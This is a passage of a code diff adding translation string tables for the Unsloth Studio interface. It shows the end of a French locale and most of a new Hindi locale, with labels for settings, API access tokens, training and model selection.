+      utilization: "Utilisation",
+      temperature: "Température",
+      vram: "VRAM",
+      power: "Puissance",
+      phase: {
+        idle: "Inactif",
+        downloadingModel: "Téléchargement du modèle",
+        downloadingDataset: "Téléchargement du jeu de données",
+        loadingModel: "Chargement du modèle",
+        loadingDataset: "Chargement du jeu de données",
+        configuring: "Configuration",
+        training: "Entraînement",
+        completed: "Terminé",
+        error: "Erreur",
+        stopped: "Arrêté",
+      },
+    },
+    trainingStart: {
+      ready: "Prêt",
+      downloading: "Téléchargement",
+      preparing: "Préparation",
+      left: "{eta} restant",
+      downloaded: "{size} téléchargé",
+      terminalStart: "> l'entraînement unsloth démarre...",
+      preparingResources: "> Préparation du modèle et du jeu de données...",
+      gettingReady: "> Nous préparons tout pour votre entraînement...",
+      waitingForFirstStep:
+        "> {message} | en attente de la première étape... ({step})",
+      resumingTraining: "Reprise de l'entraînement...",
+      startingTraining: "démarrage de l'entraînement...",
+      dataset: "Jeu de données",
+      datasetStreaming: "Jeu de données : streaming (pas de téléchargement complet)",
+      modelWeights: "Poids du modèle",
+    },
+    tour: {
+      guidedTour: "Visite guidée",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/hi.ts b/studio/frontend/src/i18n/locales/hi.ts
new file mode 100644
index 0000000000..97f55251c5
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/hi.ts
@@ -0,0 +1,999 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const hi = {
+  common: {
+    cancel: "रद्द करें",
+    close: "बंद करें",
+    delete: "हटाएं",
+    done: "पूर्ण",
+    error: "त्रुटि",
+    export: "एक्सपोर्ट करें",
+    help: "सहायता",
+    loading: "लोड हो रहा है...",
+    new: "नया",
+    rename: "नाम बदलें",
+    save: "सहेजें",
+    saving: "सहेजा जा रहा है...",
+    search: "खोजें",
+    shutdown: "शटडाउन",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "{name} खाता मेनू",
+    updateAvailable: "अपडेट उपलब्ध है",
+    aria: {
+      home: "Unsloth होम",
+      closeSidebar: "साइडबार बंद करें",
+      openSidebar: "साइडबार खोलें",
+      chatOptions: "चैट विकल्प",
+      runOptions: "रन विकल्प",
+    },
+    navigation: {
+      newChat: "नई चैट",
+      returnToChat: "चैट पर लौटें",
+      compare: "तुलना करें",
+      search: "खोजें",
+      hub: "Hub",
+      train: "ट्रेनिंग",
+      recipes: "रेसिपी",
+      export: "एक्सपोर्ट",
+      recents: "हाल के",
+      noChatsYet: "अभी तक कोई चैट नहीं",
+      settings: "सेटिंग्स",
+      api: "API",
+      lightMode: "लाइट मोड",
+      darkMode: "डार्क मोड",
+      guidedTour: "गाइडेड टूर",
+      help: "सहायता",
+      logOut: "लॉग आउट",
+      shutdown: "शटडाउन",
+    },
+    notFound: {
+      title: "पेज नहीं मिला",
+      description: "{path} मौजूद नहीं है।",
+      backToChat: "चैट पर वापस जाएं",
+    },
+    dialog: {
+      deleteChat: {
+        title: "चैट हटाएं",
+        description: 'क्या आप वाकई इस चैट "{name}" को हटाना चाहते हैं?',
+      },
+      deleteRun: {
+        title: "ट्रेनिंग रन हटाएं",
+        description: 'क्या आप वाकई इस रन "{name}" को हटाना चाहते हैं?',
+      },
+      renameChat: {
+        title: "चैट का नाम बदलें",
+        placeholder: "चैट शीर्षक",
+      },
+      renameRun: {
+        title: "रन का नाम बदलें",
+        placeholder: "रन का नाम",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "चल रही ट्रेनिंग रन को हटाया नहीं जा सकता",
+      failedToDeleteChat: "चैट हटाने में विफल",
+      failedToDeleteRun: "रन हटाने में विफल",
+      failedToRenameChat: "चैट का नाम बदलने में विफल",
+      failedToRenameRun: "रन का नाम बदलने में विफल",
+    },
+  },
+  settings: {
+    title: "सेटिंग्स",
+    dialog: {
+      title: "सेटिंग्स",
+      description: "अपनी Unsloth प्राथमिकताएं प्रबंधित करें।",
+      closeAriaLabel: "सेटिंग्स बंद करें",
+    },
+    tabs: {
+      general: "सामान्य",
+      profile: "प्रोफ़ाइल",
+      appearance: "रूप-रंग",
+      resources: "सिस्टम",
+      chat: "चैट",
+      connections: "कनेक्शन",
+      apiKeys: "API",
+      about: "परिचय",
+    },
+    general: {
+      title: "सामान्य",
+      description: "Unsloth के लिए वैश्विक प्राथमिकताएं।",
+      account: "खाता",
+      huggingFaceToken: "Hugging Face टोकन",
+      huggingFaceTokenDescription:
+        "गेटेड मॉडल लोड करने और आर्टिफैक्ट पुश करने के लिए उपयोग किया जाता है।",
+      hideToken: "token छिपाएं",
+      showToken: "token दिखाएं",
+      tokenSaved: "Token सहेजा गया",
+      password: "पासवर्ड",
+      passwordDescription: "इस Studio खाते के लिए पासवर्ड बदलें।",
+      passwordDialog: {
+        trigger: "पासवर्ड बदलें",
+        title: "पासवर्ड बदलें",
+        description:
+          "अपना वर्तमान पासवर्ड दर्ज करें और एक नया चुनें (कम से कम {minLength} अक्षर)।",
+        currentPassword: "वर्तमान पासवर्ड",
+        newPassword: "नया पासवर्ड",
+        confirmPassword: "नए पासवर्ड की पुष्टि करें",
+        currentTooShort:
+          "वर्तमान पासवर्ड कम से कम {minLength} अक्षरों का होना चाहिए।",
+        newTooShort: "नया पासवर्ड कम से कम {minLength} अक्षरों का होना चाहिए।",
+        mismatch: "पासवर्ड मेल नहीं खाते।",
+        samePassword:
+          "नया पासवर्ड आपके वर्तमान पासवर्ड से अलग होना चाहिए।",
+        update: "पासवर्ड अपडेट करें",
+        updating: "अपडेट हो रहा है...",
+        updated: "पासवर्ड अपडेट हो गया।",
+        updateFailed: "पासवर्ड अपडेट विफल रहा।",
+      },
+      chatDefaults: "चैट डिफ़ॉल्ट",
+      autoTitleNewChats: "नई चैट को स्वतः शीर्षक दें",
+      autoTitleNewChatsDescription:
+        "पहले संदेश से एक छोटा शीर्षक बनाएं।",
+      helperLlm: {
+        sectionTitle: "Helper LLM",
+        preloadOnStartup: "स्टार्टअप पर Helper LLM को प्री-कैश करें",
+        preloadOnStartupDescription:
+          "स्टार्टअप पर AI Assist हेल्पर मॉडल को पृष्ठभूमि में डाउनलोड करें। डिफ़ॉल्ट रूप से बंद; AI Assist अभी भी इसे मांग पर प्राप्त कर सकता है।",
+        disabledByEnv:
+          "बैकएंड एनवायरनमेंट में UNSLOTH_HELPER_MODEL_DISABLE द्वारा अक्षम।",
+        loadError: "Helper LLM सेटिंग्स लोड करने में विफल।",
+        saveError: "Helper LLM सेटिंग्स सहेजने में विफल।",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "मॉडल ऑटो-स्विच (OpenAI API)",
+        enable: "अनुरोध के अनुसार मॉडल बदलें",
+        enableDescription:
+          "जब कोई OpenAI-संगत अनुरोध किसी अन्य डाउनलोड किए गए GGUF का नाम लेता है, तो सर्व करने से पहले उसे लोड करें। डिफ़ॉल्ट रूप से बंद; अज्ञात नाम लोड किए गए मॉडल को सर्व करते रहते हैं।",
+        idleUnload: "निष्क्रिय ऑटो-अनलोड",
+        idleUnloadDescription:
+          "VRAM मुक्त करने के लिए इतने निष्क्रिय सेकंड के बाद मॉडल को अनलोड करें; अगला अनुरोध इसे फिर से लोड करता है। 0 इसे लोड रखता है।",
+        idleNeedsEnable:
+          "अनुरोध के अनुसार मॉडल बदलें चालू करें ताकि अनलोड किया गया मॉडल अगले उपयोग पर फिर से लोड हो।",
+        idleActiveViaEnv:
+          "निष्क्रिय ऑटो-अनलोड UNSLOTH_MODEL_IDLE_TTL एनवायरनमेंट वेरिएबल के माध्यम से सक्रिय है।",
+        loadError: "मॉडल ऑटो-स्विच सेटिंग्स लोड करने में विफल।",
+        saveError: "मॉडल ऑटो-स्विच सेटिंग्स सहेजने में विफल।",
+        idleError: "सेकंड की पूरी संख्या दर्ज करें (0 या अधिक)।",
+      },
+      previewSharing: {
+        sectionTitle: "पूर्वावलोकन साझाकरण",
+        enableLabel: "सार्वजनिक पूर्वावलोकन लिंक",
+        enableDescription:
+          "किसी भी हस्ताक्षरित लिंक वाले व्यक्ति को बिना लॉगिन के तैयार मॉडल से चैट करने दें। सार्वजनिक पूर्वावलोकन सतह को ऑफ़लाइन करने के लिए बंद करें; साझा किए गए लिंक काम करना बंद कर देते हैं।",
+        loadError: "पूर्वावलोकन साझाकरण सेटिंग्स लोड करने में विफल।",
+        saveError: "पूर्वावलोकन साझाकरण सेटिंग्स सहेजने में विफल।",
+        revokeLabel: "सभी पूर्वावलोकन लिंक रद्द करें",
+        revokeDescription:
+          "हस्ताक्षर करने वाले सीक्रेट को घुमाएं ताकि आपके द्वारा साझा किया गया हर लिंक काम करना बंद कर दे। नए कॉपी किए गए लिंक काम करते रहते हैं।",
+        revokeAction: "लिंक रद्द करें",
+        revoking: "रद्द किया जा रहा है...",
+        revokeConfirmTitle: "सभी पूर्वावलोकन लिंक रद्द करें?",
+        revokeConfirmDescription:
+          "आपके द्वारा साझा किया गया हर पूर्वावलोकन लिंक तुरंत काम करना बंद कर देगा। इसे पूर्ववत नहीं किया जा सकता।",
+        revokeConfirmAction: "सभी लिंक रद्द करें",
+        revoked: "सभी पूर्वावलोकन लिंक रद्द किए गए",
+        revokeError: "पूर्वावलोकन लिंक रद्द नहीं किए जा सके",
+      },
+      notifications: {
+        sectionTitle: "सूचनाएं",
+        showLlamaUpdates: "llama.cpp अपडेट सूचनाएं",
+        showLlamaUpdatesDescription:
+          "नए मॉडल चलाने के लिए जब कोई नया llama.cpp बिल्ड उपलब्ध हो तो सूचित करें। यदि आप केवल ट्रेन करते हैं तो बंद कर दें।",
+      },
+      gettingStarted: "शुरुआत करें",
+      startOnboarding: "ऑनबोर्डिंग शुरू करें",
+      startOnboardingDescription:
+        "अपना खाता बदले बिना सेटअप विज़ार्ड फिर से खोलें।",
+      startOnboardingAction: "ऑनबोर्डिंग शुरू करें",
+      uploads: {
+        sectionTitle: "अपलोड",
+        maxUploadSize: "ट्रेनिंग डेटासेट अपलोड सीमा",
+        maxUploadSizeDescription: "डिफ़ॉल्ट {defaultSize} MB है।",
+      },
+      rag: {
+        sectionTitle: "दस्तावेज़ और RAG",
+        embeddingModel: "एम्बेडिंग मॉडल",
+        embeddingModelDescription:
+          "आपके दस्तावेज़ों को इंडेक्स और खोजने के लिए उपयोग किया जाने वाला Hugging Face मॉडल या स्थानीय पथ। डिफ़ॉल्ट {defaultModel} है।",
+        reindexWarning:
+          "केवल नए इंडेक्स किए गए दस्तावेज़ों को प्रभावित करता है। मॉडल बदलने के बाद मौजूदा दस्तावेज़ फिर से अपलोड करें।",
+        emptyError: "एक Hugging Face मॉडल id या स्थानीय पथ दर्ज करें।",
+        loadError: "एम्बेडिंग मॉडल सेटिंग लोड करने में विफल।",
+        saveError: "एम्बेडिंग मॉडल सहेजने में विफल।",
+        saved: "एम्बेडिंग मॉडल सहेजा गया।",
+        saveAnyway: "फिर भी सहेजें",
+        resetAction: "डिफ़ॉल्ट पर रीसेट करें",
+      },
+      storage: {
+        sectionTitle: "स्टोरेज",
+        modelsFolder: "मॉडल फ़ोल्डर",
+        modelsFolderDescription: "जहां डाउनलोड किए गए मॉडल संग्रहीत होते हैं।",
+        openAction: "खोलें",
+        copyAction: "पथ कॉपी करें",
+        copied: "पथ कॉपी किया गया",
+        openError: "फ़ोल्डर नहीं खोला जा सका",
+        copyError: "पथ कॉपी नहीं किया जा सका",
+      },
+      resetPreferences: {
+        sectionTitle: "खतरनाक क्षेत्र",
+        label: "सभी स्थानीय प्राथमिकताएं रीसेट करें",
+        description:
+          "केवल-स्थानीय प्राथमिकताएं साफ़ करता है। चैट, API एक्सेस, और DB-समर्थित सेटिंग्स बनी रहती हैं।",
+        action: "प्राथमिकताएं रीसेट करें",
+        confirmTitle: "सभी स्थानीय प्राथमिकताएं रीसेट करें?",
+        confirmDescription:
+          "केवल-स्थानीय प्राथमिकताएं साफ़ करता है और Unsloth को फिर से लोड करता है। चैट, API एक्सेस, और DB-समर्थित सेटिंग्स बनी रहती हैं।",
+        confirmAction: "रीसेट करें और फिर से लोड करें",
+      },
+    },
+    profile: {
+      title: "प्रोफ़ाइल",
+      description: "Unsloth में आपकी प्रोफ़ाइल कैसे दिखती है।",
+      changePicture: "प्रोफ़ाइल चित्र बदलें",
+      displayName: "प्रदर्शन नाम",
+      nickname: "Unsloth आपको क्या कहकर बुलाए?",
+      nicknamePlaceholder: "उपनाम",
+      nicknameSaved: "पसंदीदा नाम सहेजा गया",
+      avatarShape: "प्रोफ़ाइल चित्र आकार",
+      avatarShapeCircle: "वृत्त",
+      avatarShapeRounded: "गोल किनारे",
+      chooseSloth: "या एक sloth चुनें",
+      nameSaved: "प्रोफ़ाइल नाम सहेजा गया",
+      namePersistErrorTitle: "प्रोफ़ाइल नाम सहेजा नहीं जा सका",
+      namePersistErrorDescription:
+        "इस सत्र के लिए नाम अपडेट किया गया, लेकिन फिर से लोड करने के बाद शायद न रहे।",
+      photoUpdated: "प्रोफ़ाइल फोटो अपडेट हुई",
+      photoPersistErrorTitle: "प्रोफ़ाइल फोटो सहेजी नहीं जा सकी",
+      photoPersistErrorDescription:
+        "इस सत्र के लिए फोटो अपडेट की गई, लेकिन फिर से लोड करने के बाद शायद न रहे।",
+      photoUpdateErrorTitle: "प्रोफ़ाइल फोटो अपडेट नहीं की जा सकी",
+      imageUseError: "इस छवि का उपयोग नहीं किया जा सका।",
+    },
+    appearance: {
+      title: "रूप-रंग",
+      description: "इस डिवाइस पर Unsloth Studio कैसा दिखता है।",
+      theme: {
+        title: "थीम",
+        label: "रंग योजना",
+        description: "लाइट, डार्क, या अपने सिस्टम का अनुसरण करें।",
+        system: "सिस्टम",
+        light: "लाइट",
+        dark: "डार्क",
+      },
+      language: {
+        title: "भाषा",
+        label: "प्रदर्शन भाषा",
+        description: "Unsloth द्वारा उपयोग की जाने वाली भाषा।",
+        autoDetect: "स्वतः पहचान",
+      },
+      layout: {
+        title: "लेआउट",
+        compactSidebar: "साइडबार को डिफ़ॉल्ट रूप से पिन करें",
+        compactSidebarDescription:
+          "साइडबार को आइकन में संक्षिप्त करने के बजाय विस्तारित रखें।",
+      },
+    },
+    resources: {
+      title: "सिस्टम",
+      description: "इस Studio सर्वर के हार्डवेयर और स्टोरेज की निगरानी करें।",
+      liveUpdates: "लाइव अपडेट",
+      floatingWindow: "फ्लोटिंग विंडो",
+      disableOverlay: "ओवरले अक्षम करें",
+      liveMonitor: {
+        title: "लाइव मॉनिटर",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "डिस्क",
+        vram: "VRAM",
+        cpuCores: "{logical} लॉजिकल / {physical} फिजिकल कोर",
+        currentLoad: "वर्तमान लोड",
+        free: "{value} खाली",
+        noGpu: "कोई दृश्यमान GPU नहीं",
+      },
+      gpu: {
+        title: "GPU डिवाइस",
+        noGpu: "कोई दृश्यमान GPU नहीं मिला। केवल-CPU संसाधन ऊपर दिखाए गए हैं।",
+        unknownDevice: "अज्ञात GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} उपयोग में",
+        free: "{value} खाली",
+        total: "{value} कुल",
+      },
+      storage: {
+        title: "स्टोरेज",
+        systemDisk: "सिस्टम डिस्क",
+        diskUsage: "{used} उपयोग में / {total}",
+        diskFree: "{free} खाली",
+        modelsFolder: "मॉडल फ़ोल्डर",
+        modelsFolderDescription: "जहां डाउनलोड किए गए मॉडल संग्रहीत होते हैं।",
+        openAction: "खोलें",
+        copyAction: "पथ कॉपी करें",
+        copied: "पथ कॉपी किया गया",
+        openError: "फ़ोल्डर नहीं खोला जा सका",
+        copyError: "पथ कॉपी नहीं किया जा सका",
+      },
+      environment: {
+        title: "एनवायरनमेंट",
+        backend: "बैकएंड",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "अपटाइम",
+        processMemory: "प्रोसेस मेमोरी",
+        notInstalled: "इंस्टॉल नहीं है",
+        unknown: "अज्ञात",
+      },
+    },
+    chat: {
+      title: "चैट",
+      description: "इस डिवाइस पर संग्रहीत चैट इतिहास प्रबंधित करें।",
+      modelDisclaimer: "मॉडल अस्वीकरण दिखाएं",
+      modelDisclaimerDescription:
+        'चैट बॉक्स के नीचे "LLMs can make mistakes" दिखाएं।',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "HTML ब्लॉक संक्षिप्त करें",
+        collapseHtmlBlocksDescription:
+          "Canvas मोड स्वतः पूर्ण HTML को संक्षिप्त कर देता है। Canvas बंद होने पर फेंस्ड HTML दस्तावेज़ों को भी संक्षिप्त करने के लिए इसे चालू करें।",
+        allowNetworkAccess: "canvas नेटवर्क एक्सेस की अनुमति दें",
+        allowNetworkAccessDescription:
+          "canvas पूर्वावलोकन को CDN से स्क्रिप्ट, स्टाइल, फ़ॉन्ट, मीडिया, और नेटवर्क संसाधन लोड करने दें। पूरी तरह ऑफ़लाइन पूर्वावलोकन के लिए बंद रखें।",
+      },
+      data: "डेटा",
+      exportHistory: "चैट इतिहास एक्सपोर्ट करें",
+      exportHistoryDescription: "सभी चैट और संदेशों को JSON के रूप में डाउनलोड करें।",
+      exportAction: "एक्सपोर्ट करें",
+      exportingAction: "एक्सपोर्ट हो रहा है...",
+      exportConversations: "हाल के और Projects एक्सपोर्ट करें",
+      exportConversationsDescription:
+        "हाल के या हाल के के साथ प्रोजेक्ट चैट को Raw JSONL, CSV, या ShareGPT JSONL के रूप में, संयुक्त या प्रति चैट डाउनलोड करें।",
+      exportConversationsAction: "एक्सपोर्ट करें",
+      exportScopeRecents: "हाल के",
+      exportScopeAll: "हाल के + Projects",
+      exportCombinedSuffix: "(संयुक्त)",
+      exportPerChatSuffix: "(प्रति चैट)",
+      importChats: "चैट इंपोर्ट करें",
+      importChatsDescription:
+        "एक JSONL, NDJSON, या CSV एक्सपोर्ट को हाल के में इंपोर्ट करें।",
+      importChatsAction: "इंपोर्ट करें",
+      importNoConversations: "फ़ाइल में कोई वार्तालाप नहीं मिला।",
+      importedOneChat: "1 वार्तालाप हाल के में इंपोर्ट किया गया।",
+      importedChatCount: "{count} वार्तालाप हाल के में इंपोर्ट किए गए।",
+      importFailed: "इंपोर्ट विफल रहा।",
+      clearHistory: "चैट इतिहास साफ़ करें",
+      clearHistoryDescription: "इस डिवाइस से चैट इतिहास हटाएं।",
+      clearAction: "साफ़ करें",
+      clearAllChats: "सभी चैट साफ़ करें",
+      clearAllChatsDescription: "इस डिवाइस पर हर चैट को स्थायी रूप से हटाएं।",
+      noChatsToClear: "साफ़ करने के लिए कोई चैट नहीं।",
+      clearOneChatDescription:
+        "इस डिवाइस पर एकमात्र चैट को स्थायी रूप से हटाएं।",
+      clearChatCountDescription:
+        "इस डिवाइस पर सभी {count} चैट को स्थायी रूप से हटाएं।",
+      clearChatsAction: "चैट साफ़ करें",
+      clearOneChatTitle: "1 चैट साफ़ करें?",
+      clearChatsTitle: "{count} चैट साफ़ करें?",
+      clearChatsConfirmDescription:
+        "इस डिवाइस पर हर चैट को स्थायी रूप से हटा देता है। इसे पूर्ववत नहीं किया जा सकता।",
+      clearingAction: "साफ़ किया जा रहा है...",
+      clearOneChatAction: "1 चैट साफ़ करें",
+      clearChatCountAction: "{count} चैट साफ़ करें",
+      clearedAllChats: "सभी चैट साफ़ की गईं",
+      clearedOneChat: "1 चैट साफ़ की गई",
+      clearedChatCount: "{count} चैट साफ़ की गईं",
+      someChatsCouldNotBeCleared: "कुछ चैट साफ़ नहीं की जा सकीं",
+      chatsClearedRemainOne:
+        "{clearedCount} चैट साफ़ की गईं; 1 चैट शेष है। कृपया पुनः प्रयास करें।",
+      chatsClearedRemain:
+        "{clearedCount} चैट साफ़ की गईं; {remainingCount} चैट शेष हैं। कृपया पुनः प्रयास करें।",
+      oneChatClearedRemain:
+        "1 चैट साफ़ की गई; {remainingCount} चैट शेष हैं। कृपया पुनः प्रयास करें।",
+      oneChatClearedRemainOne: "1 चैट साफ़ की गई; 1 चैट शेष है। कृपया पुनः प्रयास करें।",
+      storageClearFailedOne:
+        "एक स्टोरेज साफ़ करना विफल रहा; 1 चैट शेष रह सकती है। कृपया पुनः प्रयास करें।",
+      storageClearFailed:
+        "एक स्टोरेज साफ़ करना विफल रहा; {count} चैट शेष रह सकती हैं। कृपया पुनः प्रयास करें।",
+      failedToClearChats: "चैट साफ़ करने में विफल",
+    },
+    connections: {
+      title: "कनेक्शन",
+      description: "प्रदाता और बाहरी कनेक्शन प्रबंधित करें।",
+    },
+    apiKeys: {
+      title: "API",
+      description: "OpenAI-संगत API के माध्यम से Unsloth तक पहुंचें।",
+      readDocs: "API दस्तावेज़ पढ़ें",
+      noAccess: "अभी तक कोई API एक्सेस नहीं।",
+      accessTokens: "एक्सेस token",
+      loadError: "API एक्सेस लोड नहीं किया जा सका।",
+      createError: "एक्सेस token नहीं बनाया जा सका।",
+      revokeError: "एक्सेस token रद्द नहीं किया जा सका।",
+      never: "कभी नहीं",
+      tokenNamePlaceholder: "Token नाम (उदा. production)",
+      newAccessTokenName: "नया एक्सेस token नाम",
+      createToken: "token बनाएं",
+      creating: "बनाया जा रहा है...",
+      newTokenCreated: "नया एक्सेस token बनाया गया",
+      accessTokenCopied: "एक्सेस token कॉपी किया गया",
+      copyAccessToken: "एक्सेस token कॉपी करें",
+      copyNow: "अभी कॉपी करें - यह फिर से नहीं दिखाया जाएगा।",
+      usageExamples: "उपयोग उदाहरण",
+      usageTools: "टूल",
+      exampleCurlTools: "curl + टूल",
+      examplePythonTools: "Python + टूल",
+      exampleJavaScriptTools: "JavaScript + टूल",
+      exampleCurlAdvanced: "curl + उन्नत",
+      examplePythonAdvanced: "Python + उन्नत",
+      exampleJavaScriptAdvanced: "JavaScript + उन्नत",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "सुरक्षित HTTPS",
+      secureHttpsHint:
+        "0.0.0.0 पोर्ट अभी भी विश्व स्तर पर पहुंच योग्य है। पूर्ण सुरक्षा के लिए, केवल इस HTTPS लिंक को उजागर करने के लिए Unsloth Studio को --secure के साथ लॉन्च करें।",
+      copyTunnelUrl: "टनल URL कॉपी करें",
+      copySnippet: "स्निपेट कॉपी करें",
+      copy: "कॉपी करें",
+      copied: "कॉपी किया गया",
+      setupDocs: "सेटअप दस्तावेज़:",
+      codingAgents: "कोडिंग एजेंट",
+      codingAgentsHint:
+        "इस सर्वर के विरुद्ध एक कोडिंग एजेंट लॉन्च करें। यह लोड किए गए मॉडल का उपयोग करता है; एक स्थानीय सर्वर स्वचालित रूप से API key बनाता है, एक रिमोट सर्वर इसे कमांड में शामिल करता है।",
+      codingAgentsSwap: "claude को codex, openclaw, opencode, hermes, या pi से बदलें।",
+      codingAgentDetected: "इस मशीन पर इंस्टॉल है",
+      codingAgentsDetectedHint: "इस मशीन पर पाया गया: {agents}।",
+      relativeNever: "कभी नहीं",
+      relativeJustNow: "अभी",
+      relativeHoursAgo: "{count} घंटे पहले",
+      relativeDaysAgo: "{count} दिन पहले",
+      relativeMonthsAgo: "{count} माह पहले",
+      relativeYearsAgo: "{count} वर्ष पहले",
+      expired: "समाप्त",
+      today: "आज",
+      inDays: "{count} दिन में",
+      created: "बनाया गया {value}",
+      used: "उपयोग किया गया {value}",
+      expires: "समाप्त होता है {value}",
+      actionsFor: "{name} के लिए कार्रवाइयां",
+      copyPrefix: "प्रीफ़िक्स कॉपी करें",
+      revokeToken: "token रद्द करें",
+      revokeTitle: 'एक्सेस token "{name}" रद्द करें?',
+      revokeDescription:
+        "इस token का उपयोग करने वाले ऐप तुरंत एक्सेस खो देते हैं। इसे पूर्ववत नहीं किया जा सकता।",
+      revokeAction: '"{name}" रद्द करें',
+      revoking: "रद्द किया जा रहा है...",
+    },
+    about: {
+      title: "परिचय",
+      description: "दस्तावेज़, रिलीज़ नोट्स, प्रतिक्रिया, और बिल्ड जानकारी।",
+      studioVersion: "Unsloth संस्करण",
+      packageVersion: "पैकेज संस्करण",
+      llamaCppVersion: "llama.cpp संस्करण",
+      hardware: "हार्डवेयर",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "अपडेट",
+      help: "सहायता",
+      documentation: "दस्तावेज़",
+      releaseNotes: "रिलीज़ नोट्स",
+      whatsNew: "नया क्या है",
+      feedback: "प्रतिक्रिया",
+      reportIssue: "समस्या रिपोर्ट करें",
+      license: {
+        sectionTitle: "लाइसेंस",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "GNU AGPL v3.0 के तहत ओपन सोर्स।",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Apache 2.0 के तहत लाइसेंस प्राप्त।",
+      },
+      dangerZone: "खतरनाक क्षेत्र",
+      shutDownStudio: "Unsloth Studio शट डाउन करें",
+      shutDownStudioDescription:
+        "Unsloth सर्वर को रोकता है और आपके सत्र को समाप्त करता है।",
+      shutDown: "शट डाउन करें",
+      update: {
+        title: "Unsloth Studio अपडेट करें",
+        commandText: "{label} टेक्स्ट",
+        copied: "कॉपी किया गया",
+        copyCommand: "कमांड कॉपी करें",
+        commandCopied: "{label} कॉपी किया गया",
+        copyNamedCommand: "{label} कॉपी करें",
+        checkingInstall: "जांच रहे हैं कि Unsloth कैसे इंस्टॉल किया गया था...",
+        installIntro: "Unsloth इंस्टॉल या अपडेट करने के लिए:",
+        localUpdateHeading: "स्थानीय अपडेट",
+        installCommandUnix: "macOS/Linux इंस्टॉल कमांड",
+        installCommandWindows: "Windows इंस्टॉल कमांड",
+        localInstallDetected:
+          "स्थानीय इंस्टॉल का पता चला। इसे PyPI से बदलने से बचने के लिए अपने मूल checkout से अपडेट करें।",
+        pullThenUpdate:
+          "नवीनतम परिवर्तन खींचें, फिर स्थानीय इंस्टॉलर चलाएं:",
+        gitPullCommand: "git pull कमांड",
+        localInstallerCommand: "स्थानीय इंस्टॉलर कमांड",
+        sourceInstallDetected:
+          "सोर्स या VCS पैकेज इंस्टॉल का पता चला। मूल स्थानीय पथ या Git URL से पुनः इंस्टॉल करें।",
+        repoCheckoutFallback:
+          "यदि आपके पास अभी भी रेपो checkout है, तो उससे स्थानीय इंस्टॉलर चलाएं:",
+        restartAfterUpdate: "अपडेट करने के बाद Unsloth को पुनः आरंभ करें।",
+        desktopManaged:
+          "डेस्कटॉप ऐप अपने बंडल किए गए बैकएंड को अपडेट रखता है और नया संस्करण उपलब्ध होने पर संकेत देगा।",
+        unknownInstall:
+          "यह पता नहीं लगाया जा सका कि Unsloth कैसे इंस्टॉल किया गया था। इंस्टॉलर या PyPI इंस्टॉल के लिए, ऊपर दिए गए कमांड का उपयोग करें।",
+        localCheckout:
+          "स्थानीय checkout इंस्टॉल के लिए, उस checkout से स्थानीय इंस्टॉलर चलाएं:",
+        docs: "इंस्टॉल दस्तावेज़:",
+        docsInstall: "इंस्टॉलेशन",
+        docsUpdating: "अपडेट करना",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "ट्रेनिंग",
+    title: "फ़ाइन-ट्यूनिंग Studio",
+    subtitles: {
+      configure: "कॉन्फ़िगर करें और ट्रेनिंग शुरू करें",
+      trainingInProgress: "ट्रेनिंग जारी है",
+      viewPastRuns: "पिछली ट्रेनिंग रन देखें",
+      viewingPastRun: "पिछली रन देख रहे हैं",
+    },
+    tabs: {
+      configure: "कॉन्फ़िगर करें",
+      currentRun: "वर्तमान रन",
+      history: "इतिहास",
+    },
+    loadingRuntime: "ट्रेनिंग रनटाइम लोड हो रहा है...",
+    backToHistory: "इतिहास पर वापस जाएं",
+    sections: {
+      model: "मॉडल",
+      dataset: "डेटासेट",
+      params: "पैरामीटर",
+      training: "ट्रेनिंग",
+      charts: "चार्ट",
+      progress: "ट्रेनिंग प्रगति",
+    },
+    configure: {
+      title: "कॉन्फ़िगर करें",
+      description: "एक मॉडल, डेटासेट, और ट्रेनिंग सेटिंग्स चुनें।",
+      startTraining: "ट्रेनिंग शुरू करें",
+      starting: "शुरू हो रहा है...",
+      loadingModel: "मॉडल लोड हो रहा है...",
+      checkingDataset: "डेटासेट जांचा जा रहा है...",
+      trainingConfig: "ट्रेनिंग कॉन्फ़िग",
+    },
+    model: {
+      title: "मॉडल",
+      description: "बेस मॉडल और ट्रेनिंग विधि चुनें",
+      fasterTrainingBadge: "2x तेज़ ट्रेनिंग",
+      baseModel: "बेस मॉडल",
+      localModel: "स्थानीय मॉडल",
+      localModelTooltip:
+        "स्थानीय रूप से डाउनलोड किए गए मॉडल या कस्टम HF रेपो का पथ।",
+      scanningLocalAndCachedModels: "स्थानीय और कैश किए गए मॉडल स्कैन हो रहे हैं...",
+      scanning: "स्कैन हो रहा है...",
+      scanningLocalModels: "स्थानीय मॉडल स्कैन हो रहे हैं...",
+      noLocalModelsFound: "कोई स्थानीय मॉडल नहीं मिला",
+      noLocalModelsFoundManual: "कोई स्थानीय मॉडल नहीं मिला। पथ मैन्युअल रूप से दर्ज करें।",
+      failedToLoadLocalModels: "स्थानीय मॉडल लोड करने में विफल",
+      hfCache: "HF कैश",
+      customFolders: "कस्टम फ़ोल्डर",
+      localDir: "स्थानीय dir",
+      huggingFaceModel: "Hugging Face मॉडल",
+      huggingFaceModelTooltip:
+        "Hugging Face मॉडल खोजें या हमारी अनुशंसित सूची से चुनें।",
+      searchModels: "मॉडल खोजें...",
+      searching: "खोजा जा रहा है...",
+      noModelsFound: "कोई मॉडल नहीं मिला",
